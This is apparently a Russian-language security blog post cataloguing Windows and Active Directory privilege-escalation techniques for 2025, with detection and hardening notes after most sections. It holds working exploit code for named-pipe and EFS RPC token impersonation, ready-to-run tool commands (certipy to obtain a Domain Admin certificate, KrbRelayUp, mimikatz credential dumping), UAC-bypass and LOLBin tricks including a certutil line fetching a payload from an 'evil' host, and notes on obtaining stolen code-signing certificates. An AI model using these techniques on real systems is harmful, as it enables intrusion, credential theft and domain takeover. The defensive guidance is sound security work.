Повышение привилегий Windows: рабочие техники 2025 года

Posted on 28 марта, 2026 by AkaTor

Категория: Red Team / Blue Team / Purple Team
Уровень: Advanced → Expert
Автор: Aka Tor

Введение

В предыдущей статье мы разобрали классические privesc техники. Здесь — то, что **реально работает в 2025 году** на актуальных сборках Windows 10/11/Server 2022/2025. Каждая техника с рабочим кодом, условиями эксплуатации и детектом.

---

1. GodPotato — универсальный Potato для всех Windows

Почему GodPotato

JuicyPotato запатчен на Server 2019+, PrintSpoofer требует Spooler. GodPotato использует `RpcImpersonateClient` через недокументированный RPC endpoint — работает на **всех** версиях Windows от 8 до Server 2025.

Механизм

```
Классический Potato:
  1. Создать Named Pipe
  2. Coercion: заставить SYSTEM подключиться к pipe
  3. ImpersonateNamedPipeClient() → SYSTEM token
  Проблема: coercion методы патчатся

GodPotato:
```

```
  1. Подключиться к RPCSS (RPC Subsystem) через ALPC
  2. Вызвать RpcImpersonateClient() на RPCSS connection
  3. RPCSS работает как NETWORK SERVICE → получаем его token
  4. Через token negotiation → SYSTEM token
  Работает: не зависит от Spooler, DCOM CLSID, EFS
```

```
// GodPotato concept: RPC impersonation через OXID resolver
// Требует: SeImpersonatePrivilege

#include <windows.h>
#include <stdio.h>

// Шаг 1: Подключение к RPCSS через именованный pipe
// \\pipe\epmapper — endpoint mapper pipe
// RPCSS (svchost.exe) обслуживает этот pipe от NETWORK SERVICE

// Шаг 2: RPC вызов с impersonation
// Используем IRpcOptions::Set с IID_IUnknown
// RPC runtime вызывает RpcImpersonateClient() внутри
// Мы получаем impersonation token NETWORK SERVICE

// Шаг 3: Negotiation до SYSTEM
// NETWORK SERVICE может запросить S4U2Self Kerberos ticket
// Или использовать OXID resolver для получения SYSTEM token

// Шаг 4: CreateProcessWithTokenW("cmd.exe")

// Практическое использование:
// GodPotato.exe -cmd "cmd /c whoami"
// → NT AUTHORITY\SYSTEM

// Работает на:
// Windows 10 1809-22H2
// Windows 11 21H2-24H2
// Windows Server 2019/2022/2025
```

Blue Team: детект

- **RPCSS impersonation** — мониторинг `RpcImpersonateClient` вызовов

- **Sysmon Event ID 1** — процесс порождённый svchost.exe с неожиданным parent-child
- **Token elevation** — Event ID 4672 (special privileges assigned)
- Убрать `SeImpersonatePrivilege` где не нужен

---

2. PrintSpoofer — SpoolService Pipe Impersonation

Механизм

Print Spooler сервис позволяет создавать принтеры. При создании принтера с нашим Named Pipe как порт — Spooler (SYSTEM) подключится к нашему pipe.

```
// PrintSpoofer: SpoolService coercion → SYSTEM token
// Требует: SeImpersonatePrivilege + Spooler service running

// Шаг 1: Создаём named pipe
// \\.\pipe\test\pipe\spoolss — специальный формат для Spooler

HANDLE hPipe = CreateNamedPipeW(
    L"\\\\.\\pipe\\test\\pipe\\spoolss",
    PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
    PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
    10, 4096, 4096, 0, NULL);

// Шаг 2: Trigger coercion — Spooler подключается к нашему pipe
// Вызываем OpenPrinter с UNC путём:
// \\localhost/pipe/test → Spooler подключится как SYSTEM

HANDLE hPrinter;
PRINTER_DEFAULTSW defaults = { NULL, NULL, PRINTER_ACCESS_USE };
OpenPrinterW(L"\\\\localhost/pipe/test", &hPrinter, &defaults);

// Шаг 3: ConnectNamedPipe — ловим SYSTEM connection
ConnectNamedPipe(hPipe, NULL);

// Шаг 4: Impersonate
```

```
ImpersonateNamedPipeClient(hPipe);
// → Теперь мы SYSTEM!

// Шаг 5: CreateProcessWithTokenW("cmd.exe")

// Проверка: Spooler запущен?
// sc query Spooler → STATE: RUNNING
```

Blue Team: детект

- Отключить Print Spooler если не нужен: `sc config Spooler start= disabled`
- Мониторинг создания pipe с `\\pipe\\*\\pipe\\spoolss` паттерном
- `OpenPrinter` с localhost UNC = подозрительно

---

3. EfsPotato — EFS RPC Coercion

Механизм

EFS (Encrypting File System) имеет RPC интерфейс. При вызове `EfsRpcOpenFileRaw` с UNC путём, содержащим pipe — EFS сервис (SYSTEM) подключается к нашему pipe.

```
// EfsPotato: EFS RPC → Named Pipe → SYSTEM
// Требует: SeImpersonatePrivilege, EFS service

// EFS RPC Interface UUID: c681d488-d850-11d0-8c52-00c04fd90f7e
// Функция: EfsRpcOpenFileRaw

// Шаг 1: Создать pipe
HANDLE hPipe = CreateNamedPipeA(
    "\\\\.\\pipe\\efspotato\\pipe\\srvsvc",
    PIPE_ACCESS_DUPLEX,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    10, 4096, 4096, 0, NULL);

// Шаг 2: RPC bind к EFS
// Используем RpcStringBindingCompose + RpcBindingFromStringBinding
// ncacn_np:localhost[\pipe\lsarpc]
```

```
RPC_BINDING_HANDLE hBinding;
RPC_WSTR strBinding;
RpcStringBindingComposeW(
    L"c681d488-d850-11d0-8c52-00c04fd90f7e",  // EFS UUID
    L"ncacn_np",
    L"localhost",
    L"\\pipe\\lsarpc",
    NULL, &strBinding);
RpcBindingFromStringBindingW(strBinding, &hBinding);

// Шаг 3: Вызвать EfsRpcOpenFileRaw с нашим pipe path
// EfsRpcOpenFileRaw(hBinding, &hContext,
//     L"\\\\localhost/pipe/efspotato/C$\\x", 0);
// → EFS (SYSTEM) подключается к нашему pipe!

// Шаг 4: ImpersonateNamedPipeClient → SYSTEM

// Альтернатива: вместо RPC можно использовать EncryptFile API
// EncryptFile("\\\\localhost/pipe/efspotato/C$\\x")
// Проще но менее надёжно
```

---

4. RemotePotato0 — Cross-Session Token Theft

Концепт

Если на машине есть другая сессия (например RDP сессия администратора), RemotePotato0 может украсть токен из этой сессии через DCOM cross-session activation.

```
// RemotePotato0: Cross-session token theft
// Требует: SeImpersonatePrivilege + другая сессия с привилегированным юзером

// Концепт:
// 1. Атакующий в Session 0 (service) или Session 1
// 2. Администратор залогинен в Session 2 (RDP)
// 3. DCOM activation с CLSID и Session ID = 2
```

```
//    → COM object создаётся в Session 2
//    → Мы получаем IUnknown pointer cross-session
// 4. При marshaling COM object — OXID resolver
//    подключается к нашему OXID endpoint
// 5. Мы impersonate OXID connection → токен Session 2 юзера

// Проверка: кто залогинен?
// qwinsta — список сессий
// query user — список юзеров

// Эксплуатация:
// RemotePotato0.exe -m 0 -x 10.0.0.1 -p 9999 -s 2
// -s 2 = target session ID
// Получаем NTLM hash целевого юзера или его токен
```

Blue Team

- Минимизировать RDP сессии на серверах
- Мониторинг cross-session DCOM activation
- Отключить NTLM где возможно

---

5. KrbRelayUp — Kerberos Relay для Local Admin

Концепт

На domain-joined машине без LDAP signing enforcement: relay Kerberos аутентификацию machine account для добавления себя в локальные админы через Resource-Based Constrained Delegation (RBCD).

```
// KrbRelayUp: domain user → local admin
// Требует: domain-joined, LDAP signing NOT enforced, machine account quota > 0

// Шаг 1: Создать machine account в AD
// Стандартно каждый domain user может создать до 10 machine accounts
// (ms-DS-MachineAccountQuota = 10)
```

```
// Шаг 2: Настроить RBCD
// Добавляем наш machine account в msDS-
AllowedToActOnBehalfOfOtherIdentity
// целевой машины

// Шаг 3: Получить TGS через S4U2Self + S4U2Proxy
// Kerberos ticket для local admin access

// Шаг 4: Pass-the-Ticket → local admin!

// Практическое использование:
// KrbRelayUp.exe relay -Domain corp.local -CreateNewComputerAccount
//     -ComputerName YOURPC$ -ComputerPassword Password123
// KrbRelayUp.exe spawn -m rbcd -d corp.local -cn YOURPC$ -cp
Password123
// → cmd.exe as local SYSTEM

// Проверка условий:
// 1. Мы в домене?
// echo %USERDNSDOMAIN%
//
// 2. LDAP signing?
// ldp.exe → Connect → Bind → Check
//
// 3. Machine account quota?
// Get-ADObject ((Get-ADDomain).distinguishedname) -Properties ms-DS-
MachineAccountQuota
```

Blue Team

- **Enforce LDAP signing** — GPO: Domain controller: LDAP server signing requirements = Require signing
- **ms-DS-MachineAccountQuota = 0** — запретить создание machine accounts обычными юзерами
- Мониторинг создания computer objects в AD

---

6. Shadow Credentials — msDS-KeyCredentialLink Abuse

Концепт

Добавляем свой ключ в атрибут `msDS-KeyCredentialLink` machine account → можем получить TGT через PKINIT → local admin.

```
// Shadow Credentials: добавление ключа в AD → PKINIT → admin
// Требует: write access к msDS-KeyCredentialLink целевого компьютера

// Шаг 1: Генерируем пару ключей (RSA)
// Шаг 2: Добавляем public key в msDS-KeyCredentialLink machine
account
// Шаг 3: Запрашиваем TGT через PKINIT с нашим private key
// Шаг 4: S4U2Self → получаем TGS для local admin
// Шаг 5: Pass-the-Ticket → SYSTEM

// Инструменты:
// Whisker.exe add /target:WORKSTATION$ /domain:corp.local
// → Добавляет shadow credential
// → Выводит Rubeus команду для получения TGT

// Rubeus.exe asktgt /user:WORKSTATION$ /certificate:BASE64_CERT
//     /password:PASSWORD /nowrap
// → TGT для machine account

// Условие: AD CS (Certificate Services) установлен
// или PKINIT включён в домене
```

Blue Team

- Мониторинг изменений `msDS-KeyCredentialLink` в AD
- Event ID 5136 (AD object modification)
- Аудит кто имеет write access к computer objects

---

7. Certifried / AD CS Abuse — ESC1-ESC10

Концепт

Active Directory Certificate Services (AD CS) имеет множество misconfiguration, позволяющих получить сертификат от имени любого пользователя (включая Domain Admin).

```
AD CS Escalation Paths (ESC1-ESC10):

ESC1: Template allows SAN (Subject Alternative Name)
  → Запросить сертификат с SAN = Domain Admin
  → Authenticate as Domain Admin
  Условие: Template с ENROLLEE_SUPPLIES_SUBJECT + Enrollment rights

ESC2: Any Purpose EKU
  → Template с EKU "Any Purpose" или Sub CA
  → Можно использовать для любой аутентификации

ESC3: Enrollment Agent + другой template
  → Enrollment Agent может запросить серт от имени другого юзера

ESC4: Vulnerable Certificate Template ACL
  → Write access к template → изменить на ESC1

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 на CA
  → Любой template позволяет SAN override

ESC7: Vulnerable CA ACL
  → ManageCA + ManageCertificates → issue pending requests

ESC8: NTLM Relay to AD CS HTTP enrollment
  → PetitPotam/PrinterBug → relay to http://ca/certsrv → Domain Admin
cert

ESC9/ESC10: CT_FLAG_NO_SECURITY_EXTENSION
  → Certifried (CVE-2022-26923)
  → Machine account → request cert with DNS SAN → DC impersonation
```

```
// Certifried (CVE-2022-26923): Machine account → Domain Admin
// Патч: KB5014754, но многие не применили

// Шаг 1: Создать machine account (или использовать существующий)
// Шаг 2: Изменить dNSHostName на имя DC
// Шаг 3: Запросить сертификат через template "Machine"
// Шаг 4: Аутентификация по сертификату → TGT DC → DCSync → все хэши

// Инструменты:
// Certipy: certipy find -u user@corp.local -p Password
// → находит уязвимые templates

// certipy req -u user@corp.local -p Password
//     -target ca.corp.local -template Machine -ca CORP-CA
//     -upn administrator@corp.local
// → сертификат Domain Admin

// certipy auth -pfx administrator.pfx
// → TGT Domain Admin
```

Blue Team

- **Аудит AD CS templates**: `Certify.exe find /vulnerable` или `certipy find`
- Убрать `ENROLLEE_SUPPLIES_SUBJECT` из templates
- Enforce `CT_FLAG_NO_SECURITY_EXTENSION` — патч KB5014754
- Event ID 4887 (certificate request) мониторинг

---

8. LOLBin Abuse — Living Off The Land для Privesc

Концепт

Подписанные Microsoft бинарники которые можно использовать для повышения привилегий, обхода AppLocker/WDAC.

```
// LOLBin Privilege Escalation: подписанные Microsoft tools

// 1. mavinject.exe — DLL injection в running process
```

```
//    mavinject.exe PID /INJECTRUNNING path\to\evil.dll
//    Подписан Microsoft, обходит AppLocker
//    Если инжектим в SYSTEM процесс → SYSTEM

// 2. msbuild.exe — выполнение C# кода без csc.exe
//    msbuild.exe evil.csproj
//    Содержимое .csproj:
//    <Task> содержит inline C# код который компилируется и
выполняется
//    Обходит скриптовые политики

// 3. InstallUtil.exe — .NET installer с произвольным кодом
//    InstallUtil.exe /logfile= /LogToConsole=false /U evil.dll
//    Uninstall method содержит payload

// 4. mshta.exe — выполнение HTA (VBScript/JScript)
//    mshta.exe evil.hta
//    или inline: mshta vbscript:Execute("...")

// 5. rundll32.exe — загрузка DLL
//    rundll32.exe evil.dll,DllMain
//    Или: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"

// 6. cmstp.exe — connection manager profile installer
//    Может обойти UAC! (auto-elevated binary)
//    cmstp.exe /ni /s evil.inf
//    INF файл содержит RegisterOCXSection с нашей DLL

// 7. eventvwr.exe — Event Viewer (UAC bypass)
//    Читает HKCU\Software\Classes\mscfile\shell\open\command
//    Подставляем cmd.exe → elevated execution

// 8. wsreset.exe — Windows Store Reset (UAC bypass)
//    Читает
HKCU\Software\Classes\AppX82a6gwre4fdg3bt635ber5j...\Shell\open\comman
d
//    Auto-elevated → наш код запускается elevated
```

Новые LOLBins 2025

```
// Новые LOLBins обнаруженные в 2024-2025:

// 1. msedge.exe --headless --print-to-pdf
//    → Можно читать локальные файлы через file:// protocol
//    → Exfiltration через PDF generation

// 2. certutil.exe -urlcache -f http://evil/payload.exe
//    → Download + execute, обходит некоторые proxy

// 3. ssh.exe (встроен в Windows 10/11)
//    ssh.exe -o ProxyCommand="cmd /c calc" localhost
//    → Выполнение команды через ProxyCommand

// 4. msdt.exe (MS Support Diagnostic Tool)
//    → Follina-style command execution
//    Частично запатчен, но варианты существуют

// 5. wmic.exe process call create "cmd.exe"
//    → Создание процесса через WMI
//    → Может обойти command line monitoring

// 6. powershell.exe -ep bypass -c "IEX(...)"
//    → Классика, но с AMSI bypass — всё ещё работает
```

Blue Team

- **WDAC (Windows Defender Application Control)** — блокировать LOLBins по хэшу
- **AppLocker** — whitelist mode, но LOLBins в whitelist по умолчанию
- **Sysmon** — правила на mavinject, msbuild, mshta, cmstp parent-child chains
- Block Rules для WDAC: `Microsoft recommended block rules`

---

9. DCOM NTLM Relay — Coercion через новые объекты

Концепт

Новые DCOM объекты которые можно использовать для NTLM relay в 2025 году.

```
// DCOM Coercion: новые COM objects для NTLM auth coercion
// При активации COM object — DCOM делает NTLM auth к указанному
серверу

// Новые CLSID обнаруженные в 2024-2025:

// 1. IHxInteractiveUser (из hxds.dll)
//    CLSID: {73FDDC80-AEA9-101A-98A7-00AA00374959}
//    Триггер: Execute() с UNC path

// 2. IERatingEngine
//    CLSID: {112BA211-334C-11D0-B982-00A0C91A7A44}
//    Триггер: через IPersistMoniker::Load с UNC

// 3. ShellWindows
//    CLSID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
//    Триггер: Navigate() с UNC path

// Exploit flow:
// 1. Поднять NTLM relay server (ntlmrelayx, krbrelayx)
// 2. Активировать DCOM object с UNC path на наш сервер
// 3. SYSTEM (или target user) аутентифицируется к нам через NTLM
// 4. Relay NTLM auth к LDAP/HTTP/SMB целевого сервиса
// 5. Profit: добавить себя в админы, создать machine account, etc.

// DCOMPotato: автоматизация этого процесса
// DCOMPotato.exe -c {CLSID} -p cmd.exe
```

---

10. Bring Your Own Cert (BYOC) — Подпись своего

драйвера

Концепт

Вместо BYOVD (поиск уязвимого драйвера) — подписываем свой драйвер украденным или купленным EV-сертификатом.

```
BYOVD vs BYOC:

BYOVD (Bring Your Own Vulnerable Driver):
  + Легитимный подписанный драйвер
  + Есть в Microsoft blocklist? — не загрузится
  - Ограниченные capabilities (только то что уязвимость позволяет)
  - Blocklist обновляется

BYOC (Bring Your Own Certificate):
  + Свой драйвер с любым функционалом
  + Нет в blocklist (новый бинарник)
  - Нужен EV code signing сертификат (~$300-500 в даркнете)
  - HVCI может заблокировать если не WHQL-подписан

Где берут сертификаты:
  1. Украденные у легитимных компаний (утечки)
  2. Купленные через подставные фирмы
  3. Cross-signed через устаревшие CA
  4. Leaked test signing certificates

Реальные кейсы 2024-2025:
  - FiveSys rootkit — украденный сертификат
  - Netfilter rootkit — подписан легитимным Gaming сертификатом
  - HookSignTool — поддельные временные метки для истёкших
сертификатов
```

---

11. Token Impersonation через WinRM/WSMan

```
// WinRM Token Theft: если WinRM включён — можно украсть токены
// Требует: SeImpersonatePrivilege + WinRM enabled

// WinRM (Windows Remote Management) использует HTTP.sys
// HTTP.sys обрабатывает аутентификацию и создаёт impersonation token
// Мы можем перехватить этот token

// Шаг 1: Проверить WinRM
// winrm quickconfig
// Get-Service WinRM

// Шаг 2: Создать HTTP listener на том же URL prefix
// HTTP.sys позволяет множественные listeners

// Шаг 3: При аутентификации клиента — HTTP.sys создаёт token
// Мы вызываем HttpReceiveClientCertificate или аналог
// → Получаем impersonation token клиента

// Шаг 4: DuplicateTokenEx + CreateProcessWithTokenW

// Инструмент: SilverPotato (2025)
// Использует WinRM/HTTP.sys для cross-session token theft
// Работает даже если Spooler и EFS отключены
```

---

12. PPLdump / PPLFault — Обход Protected Process Light

Концепт

PPL защищает lsass.exe от дампа. Но есть способы обхода без загрузки драйвера.

```
// PPLFault: обход PPL через page fault handler
// Работает на Windows 10/11 до определённых патчей

// Концепт:
```

```
// 1. PPL процесс (lsass.exe) загружает DLL
// 2. DLL лежит на диске и замапплена в память
// 3. Если мы создадим NTFS transaction для этого файла
//    и подменим содержимое DLL внутри транзакции
// 4. При page fault — OS загрузит нашу версию вместо оригинала
// 5. Наш код выполняется в PPL контексте!

// PPLdump (2024): другой подход
// 1. Злоупотребление LSASS plugin interface
// 2. Регистрация кастомного SSP (Security Support Provider)
// 3. SSP DLL загружается в контексте lsass.exe (PPL)
// 4. SSP может дампить credentials из памяти

// Практическое использование:
// PPLdump.exe lsass.exe lsass.dmp
// → дамп lsass.exe несмотря на PPL

// Или через SSP:
// AddSecurityPackage("evil_ssp.dll")
// → DLL загружается в lsass.exe
// → Перехватывает все authentication events

// Mimikatz: sekurlsa::logonPasswords на дампе
// mimikatz.exe "sekurlsa::minidump lsass.dmp"
"sekurlsa::logonPasswords" "exit"
```

Blue Team

- **Credential Guard** — изолирует LSA secrets в VBS (Virtualization-Based Security)
- Мониторинг `AddSecurityPackage` вызовов
- Sysmon Event ID 7 — загрузка DLL в lsass.exe
- Windows 11 24H2: lsass.exe PPL по умолчанию

---

13. Матрица: privesc техники 2025

Техника	Требует	Цель	Результат	Надёжность
GodPotato	SeImpersonate	Local	SYSTEM	Высокая
PrintSpoofer	SeImpersonate + Spooler	Local	SYSTEM	Высокая
EfsPotato	SeImpersonate + EFS	Local	SYSTEM	Средняя
RemotePotato0	SeImpersonate + другая сессия	Local	Target user token	Средняя
KrbRelayUp	Domain user + no LDAP signing	Domain	Local Admin	Высокая
Shadow Credentials	Write to msDS-KeyCredentialLink	Domain	Local Admin/DA	Высокая
Certifried/AD CS	AD CS misconfiguration	Domain	Domain Admin	Зависит от ESC
LOLBin Abuse	Execution	Local	Varies	Высокая
DCOM Relay	SeImpersonate + NTLM	Local/Domain	SYSTEM/DA	Средняя
BYOC	Admin + EV cert	Local	Kernel	Высокая
WinRM Token	SeImpersonate + WinRM	Local	Target user token	Средняя
PPLdump/PPLFault	Admin	Local	Credentials	Средняя (патчится)

---

14. Рекомендации

Для Red Team — чеклист 2025

- **Service account?** → GodPotato / PrintSpoofer / EfsPotato мгновенно
- **Domain-joined?** → KrbRelayUp (если нет LDAP signing) → local admin за минуту
- **AD CS установлен?** → `certipy find` → ESC1/ESC8 → Domain Admin
- **Нужен обход PPL?** → PPLFault / AddSecurityPackage
- **AppLocker/WDAC?** → LOLBins (msbuild, mavinject, cmstp)
- **Другие сессии на сервере?** → RemotePotato0 / SilverPotato

Для Blue Team — hardening 2025

- **LDAP Signing = Required** — закрывает KrbRelayUp, Shadow Credentials relay
- **ms-DS-MachineAccountQuota = 0** — запретить создание machine accounts
- **AD CS Audit** — убрать ENROLLEE_SUPPLIES_SUBJECT, аудит templates

- **Credential Guard** — VBS isolation, убивает credential dumping
- **HVCI** — блокирует BYOVD/BYOC unsigned drivers
- **SeImpersonatePrivilege** — убрать для всех кроме необходимых сервисов
- **Disable Spooler/EFS** где не используется
- **WDAC** — блокировать LOLBins Microsoft recommended block rules
- **Sysmon** — rules для Potato pipes, DCOM activation, certificate requests

Для Purple Team

- `certipy find -vulnerable` — аудит AD CS за 30 секунд
- `GodPotato.exe -cmd whoami` — тест SeImpersonate за 5 секунд
- MITRE ATT&CK: T1134 (Token), T1557 (LLMNR/NBT-NS), T1558 (Kerberos), T1649 (Steal Certificates)
- Инструменты: Certify, Certipy, Rubeus, KrbRelayUp, GodPotato, SharpUp

---

Заключение

В 2025 году landscape privesc сместился в сторону **Active Directory abuse**. Локальные Potato атаки по-прежнему мгновенны при наличии SeImpersonatePrivilege, но настоящая power — в AD: KrbRelayUp для local admin, Certifried для Domain Admin, Shadow Credentials для persistence. Без LDAP signing enforcement и AD CS аудита — домен компрометируется за минуты.

Для защитников три главных действия: **LDAP signing enforcement**, **AD CS template audit**, **Credential Guard**. Эти три меры закрывают 80% описанных атак.

Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.